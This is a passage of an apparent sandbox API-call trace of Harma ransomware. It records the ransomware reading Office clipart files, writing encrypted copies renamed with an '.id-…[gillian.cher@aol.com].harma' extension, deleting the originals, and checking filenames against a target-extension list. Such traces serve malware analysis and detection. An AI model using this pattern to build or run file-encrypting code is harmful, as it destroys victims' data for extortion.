(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0146.382] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.382] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.394] GetLastError () returned 0x0 [0146.394] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1138, lpOverlapped=0x0) returned 1 [0146.395] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0146.397] ReadFile (in: hFile=0x334, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.397] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.397] SetEndOfFile (hFile=0x34c) returned 1 [0146.397] CloseHandle (hObject=0x34c) returned 1 [0146.397] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.397] SetEndOfFile (hFile=0x334) returned 1 [0146.399] CloseHandle (hObject=0x334) returned 1 [0146.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.400] lstrlenW (lpString=".doc") returned 4 [0146.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.400] lstrlenW (lpString=".docx") returned 5 [0146.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.400] lstrlenW (lpString=".pdf") returned 4 [0146.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString=".xls") returned 4 [0146.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.401] lstrlenW (lpString=".xlsx") returned 5 [0146.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.401] lstrlenW (lpString=".ppt") returned 4 [0146.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString=".zip") returned 4 [0146.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.401] lstrlenW (lpString=".rar") returned 4 [0146.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString=".bz2") returned 4 [0146.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString=".7z") returned 3 [0146.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString=".dbf") returned 4 [0146.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString=".1cd") returned 4 [0146.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString=".jpg") returned 4 [0146.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.401] lstrlenW (lpString=".doc") returned 4 [0146.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.401] lstrlenW (lpString=".docx") returned 5 [0146.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.402] lstrlenW (lpString=".pdf") returned 4 [0146.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString=".xls") returned 4 [0146.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.402] lstrlenW (lpString=".xlsx") returned 5 [0146.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.402] lstrlenW (lpString=".ppt") returned 4 [0146.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.402] lstrlenW (lpString=".zip") returned 4 [0146.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.402] lstrlenW (lpString=".rar") returned 4 [0146.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString=".bz2") returned 4 [0146.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString=".7z") returned 3 [0146.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.402] lstrlenW (lpString=".dbf") returned 4 [0146.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.402] lstrlenW (lpString=".1cd") returned 4 [0146.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0146.402] lstrlenW (lpString=".jpg") returned 4 [0146.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.402] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.403] lstrlenW (lpString="BS00078_.WMF") returned 12 [0146.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0146.638] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1444) returned 1 [0146.638] CloseHandle (hObject=0x344) returned 1 [0146.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0147.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.540] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.540] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.541] GetLastError () returned 0x0 [0147.541] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0147.557] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0147.559] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.559] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.559] SetEndOfFile (hFile=0x328) returned 1 [0147.560] CloseHandle (hObject=0x328) returned 1 [0147.560] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.560] SetEndOfFile (hFile=0x338) returned 1 [0147.562] CloseHandle (hObject=0x338) returned 1 [0147.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0147.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.563] lstrlenW (lpString=".doc") returned 4 [0147.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.563] lstrlenW (lpString=".docx") returned 5 [0147.564] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.564] lstrlenW (lpString=".pdf") returned 4 [0147.564] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString=".xls") returned 4 [0147.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.564] lstrlenW (lpString=".xlsx") returned 5 [0147.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.564] lstrlenW (lpString=".ppt") returned 4 [0147.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.564] lstrlenW (lpString=".zip") returned 4 [0147.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.564] lstrlenW (lpString=".rar") returned 4 [0147.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString=".bz2") returned 4 [0147.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString=".7z") returned 3 [0147.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.564] lstrlenW (lpString=".dbf") returned 4 [0147.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.564] lstrlenW (lpString=".1cd") returned 4 [0147.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.564] lstrlenW (lpString=".jpg") returned 4 [0147.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.565] lstrlenW (lpString=".doc") returned 4 [0147.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString=".docx") returned 5 [0147.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.565] lstrlenW (lpString=".pdf") returned 4 [0147.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString=".xls") returned 4 [0147.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.565] lstrlenW (lpString=".xlsx") returned 5 [0147.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.565] lstrlenW (lpString=".ppt") returned 4 [0147.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.565] lstrlenW (lpString=".zip") returned 4 [0147.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.565] lstrlenW (lpString=".rar") returned 4 [0147.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString=".bz2") returned 4 [0147.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.565] lstrlenW (lpString=".7z") returned 3 [0147.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.565] lstrlenW (lpString=".dbf") returned 4 [0147.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.566] lstrlenW (lpString=".1cd") returned 4 [0147.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0147.566] lstrlenW (lpString=".jpg") returned 4 [0147.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.566] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.566] lstrlenW (lpString="BS00184_.WMF") returned 12 [0147.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.567] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4976) returned 1 [0147.567] CloseHandle (hObject=0x338) returned 1 [0147.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0147.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.567] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.567] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0147.568] GetLastError () returned 0x0 [0147.568] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1370, lpOverlapped=0x0) returned 1 [0147.593] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0147.594] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.594] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.594] SetEndOfFile (hFile=0x328) returned 1 [0147.594] CloseHandle (hObject=0x328) returned 1 [0147.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.595] SetEndOfFile (hFile=0x338) returned 1 [0147.597] CloseHandle (hObject=0x338) returned 1 [0147.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0147.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.652] lstrlenW (lpString=".doc") returned 4 [0147.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString=".docx") returned 5 [0147.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.665] lstrlenW (lpString=".pdf") returned 4 [0147.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString=".xls") returned 4 [0147.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.665] lstrlenW (lpString=".xlsx") returned 5 [0147.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.665] lstrlenW (lpString=".ppt") returned 4 [0147.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.665] lstrlenW (lpString=".zip") returned 4 [0147.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.665] lstrlenW (lpString=".rar") returned 4 [0147.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString=".bz2") returned 4 [0147.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString=".7z") returned 3 [0147.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.665] lstrlenW (lpString=".dbf") returned 4 [0147.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.665] lstrlenW (lpString=".1cd") returned 4 [0147.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString=".jpg") returned 4 [0147.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString=".doc") returned 4 [0147.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString=".docx") returned 5 [0147.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.666] lstrlenW (lpString=".pdf") returned 4 [0147.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString=".xls") returned 4 [0147.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.666] lstrlenW (lpString=".xlsx") returned 5 [0147.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.666] lstrlenW (lpString=".ppt") returned 4 [0147.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString=".zip") returned 4 [0147.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.666] lstrlenW (lpString=".rar") returned 4 [0147.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString=".bz2") returned 4 [0147.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString=".7z") returned 3 [0147.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString=".dbf") returned 4 [0147.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.666] lstrlenW (lpString=".1cd") returned 4 [0147.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0147.667] lstrlenW (lpString=".jpg") returned 4 [0147.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.667] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.667] lstrlenW (lpString="BS00441_.WMF") returned 12 [0147.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.667] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3524) returned 1 [0147.667] CloseHandle (hObject=0x34c) returned 1 [0147.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0147.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0147.668] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.668] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 